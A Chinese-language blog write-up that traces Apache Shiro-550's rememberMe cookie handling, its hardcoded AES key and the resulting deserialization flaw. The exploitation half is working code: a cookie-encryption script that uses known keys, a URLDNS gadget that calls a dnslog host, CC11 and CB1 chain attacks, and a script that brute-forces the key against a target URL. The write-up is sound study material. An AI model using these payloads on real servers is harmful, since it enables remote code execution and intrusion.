环境

shiro-550分析

哎,终于到了shiro,虽然很少遇到这个漏洞但是这个还是挺重要的
抓个登录的包,勾选 RememberMe 字段
image-20230717111933757
可以看到这个cookie明显是通过加密的,那么就去分析一下这个cookie的生成过程,idae里面按两下shift可以输入cookie然后会把和cookie这个名字有关的类列出来,最终我们找到了CookieRememberMeManager类中的 getRememberedSerializedIdentity()方法
image-20230717112028101
这个方法先判断是否为http请求,如果是则会获取remember me的cookie值,然后判断是否是deleteMe,不是则判断是否是符合 base64 编码,然后再对其进行 base64 解码,将解码结果返回,那么往上找谁调用了这个方法
image-20230717112037436
找到了AbstractRememberMeManager 这个类的 getRememberedPrincipals() 方法,这里要把对应的源码下载find usages才能搜到,这个方法的作用域为 PrincipalCollection,一般就是用于聚合多个 Realm 配置的集合。393行将 HTTP Requests 里面的 Cookie 拿出来,赋值给 bytes 数组;396 行将 bytes 数组的东西进行 convertBytesToPrincipals() 方法的调用,并将值赋给 principals 变量,convertBytesToPrincipals方法将之前的 bytes 数组转换成了认证信息,并且对其进行解密和反序列化
image-20230717112102085

decrypt()解密

我们跟进一下decrypt()方法
image-20230717112126287
487 行这里获取了密钥服务,再往后 489 行的 decrypt() 跟进去,发现它是一个接口。我们可以看一下它的参数名第一个要加密的数组,第二个是一个 key,说明这是一个对称加密
image-20230717112158412
回到之前 decrypt() 方法的第 489 行,两个传参,第一个是加密字段,第二个是 key,跟进传入的 getDecryptionCipherKey()最终发现它是一个返回的常量decryptionCipherKey
image-20230717112212188
然后find usages寻找哪里调用了它,在同类下的setDecryptionCipherKey()里找到了它的调用
image-20230717112221010
然后再找一下setDecryptionCipherKey()的调用,在同类下的setCipherKey()方法中调用了
image-20230717112229102
然后继续看哪里调用了setCipherKey()
image-20230717112241693
到这里跟进去发现DEFAULT_CIPHER_KEY_BYTES是个固定的值
image-20230717112257933
也就是说在Shiro1.2.4 及之前的版本中对remember me加密的key是一个固定的key,其实加密算法就是AES加密

deserialize反序列化

来到一开始的convertBytesToPrincipals()方法找到deserialize()方法点进来到下面这里
image-20230717112312266
这里再点进去其实是一个接口,然后继续查看哪里调用了
image-20230717112319911
在shiro包的deserialize方法中调用了readObject()方法后面就会进到HashMap这就是一个很好的入口,到这里解密的过程就结束了,接下来去跟一下加密的过程

加密

加密通过调试来分析,断点下在如下图onSuccessfulLogin()位置
image-20230717112334025
这里怎么进到这个断点呢?就是我们在一开始登录的页面开启代理
image-20230717112344273
当断点下好之后点击sign in即可到断点位置,当然也可用burp发包开始调试,在如下位置对是否点击了Remember Me进行判断,如下点击了会将rememberMe赋值为true
image-20230717112404419
然后到这个rememberIdentity方法,这里就是用于用户名赋值保存,可以看到这里一系列调用完之后得到了用户名
image-20230717112417095
然后进入到rememberIdentity方法继续看
image-20230717112426588
这里的convertPrincipalsToBytes和之前解密的convertBytesToPrincipals()非常相似不过解密变为了加密,反序列化变为了序列化
image-20230717112440188
然后进入到序列化的这里(到上面这一步之后一直F7就行)可以看到和反序列化过程一样
image-20230717112451267
然后回到 encrypt 加密这里,进入getEncryptionCipherKey()方法
image-20230717112500712
一直跟下去之后发现最后调用的key就是我们之前找到的那个常量
image-20230717112509939
cookie通过AES加密之后再base64得到,到这里差不多分析结束

Shiro-550 漏洞利用

这里用了一个插件名为Maven Helper分析pom.xml
image-20230717112524077
其实这里有很多包在test下,看组长的视频说test是打不到的,但是不知道为什么我的插件没有显示很奇怪

URLDNS链

这里我们的攻击思路就是直接替换加密后的cookie,那么就需要一个加密的脚本,这里直接用Drunkbaby师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# -*-* coding:utf-8  
# @Time : 2022/7/13 17:36
# @Author : Drunkbaby
# @FileName: poc.py
# @Software: VSCode
# @Blog :https://drun1baby.github.io/

from email.mime import base
from pydoc import plain
import sys
import base64
from turtle import mode
import uuid
from random import Random
from Crypto.Cipher import AES


def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data

def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext

def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext

if __name__ == "__main__":
data = get_file_data("ser.bin")
print(aes_enc(data))

然后因为URLSDNS这条链不依赖于CC包,所以用来验证漏洞,那么先将payload通过AES加密然后base64,exp如下是之前跟URLDNS这条链子写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import java.lang.reflect.Field;
import java.util.HashMap; //入口类
import java.net.URL; //调用链中的类
import java.io.*;

public class URLDNS {
public static void main(String[] args) throws Exception{

HashMap <URL,Object> hashMap = new HashMap<>();
URL url = new URL("http://c3j32r.dnslog.cn");

//通过反射获取到url中的hashcode属性
Field field = url.getClass().getDeclaredField("hashCode");
//hashcode为私有属性,通过下面方法设置为可操作
field.setAccessible(true);

//这里在put前需要将hashCode值改一下,不然put方法也会请求dns,这样不管有没有反序列化都会请求dns

field.set(url,2); //重新设,避免混淆

hashMap.put(url,2);

field.set(url,-1); //改回,不然这条链就不能利用

//进行序列化
ObjectOutputStream w = new ObjectOutputStream(new FileOutputStream("ser.bin"));
w.writeObject(hashMap);
System.out.println(w);

//进行反序列化
ObjectInputStream o = new ObjectInputStream(new FileInputStream("ser.bin"));
o.readObject();
}
}

然后反序列化那里先注释掉,直接序列化得到ser.bin,然后把这个序列化的数据放到加密脚本里面跑得到加密cookie
image-20230717112539038
最后把这段cookie替换掉原来的cookie,主要这里的JSESSIONID这段数据一定要删不然不会去读rememberMe
image-20230717112546537
发包之后收到DNS请求
image-20230717112554385
接下来就是换不同的链尝试攻击

通过 CC11 链攻击

还是用之前的CC11链子攻击,先序列化ser.bin然后加密发包就行
image-20230717112603459

通过 CB1 链攻击

这里需要注意的是CB版本问题,一开始用的exp是之前跟的CB1这条链的时候写的,但是那个CB版本是1.9.2,yso 中的链子也是,而shiro自带为 1.8.3,所以需要把版本更换一下不然服务端就好报如下错误

1
org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

这个serialVersionUID就是Java的一个机制,在Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID 不同,则反序列化就会异常退出
image-20230717112620430

AES密钥判断

这里还有一个问题参考Drunkbaby师傅的描述就是shiro 在 1.4.2 版本之前, AES 的模式为 CBC, IV 是随机生成的,并且 IV 并没有真正使用起来,所以整个 AES 加解密过程的 key 就很重要了,正是因为 AES 使用 Key 泄漏导致反序列化的 cookie 可控,从而引发反序列化漏洞。在 1.4.2 版本后,shiro 已经更换加密模式 AES-CBC 为 AES-GCM,脚本编写时就需要考虑加密模式变化的情况。记得之前用过的飞鸿大佬的一款shiro反序列化利用工具就做了key的爆破,下面是大佬 Veraxy 的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import base64
import uuid
import requests
from Crypto.Cipher import AES

def encrypt_AES_GCM(msg, secretKey):
aesCipher = AES.new(secretKey, AES.MODE_GCM)
ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
return (ciphertext, aesCipher.nonce, authTag)

def encode_rememberme(target):
keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ=='] # 此处简单列举几个密钥
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes

file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
for key in keys:
try:
# CBC加密
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
if res.headers.get("Set-Cookie") == None:
print("正确KEY :" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
# GCM加密
encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)

if res.headers.get("Set-Cookie") == None:
print("正确KEY:" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
print("正确key:" + key)
return key
except Exception as e:
print(e)

参考:
Java反序列化Shiro篇01-Shiro550流程分析 | Drunkbaby’s Blog (drun1baby.top)
白日梦组长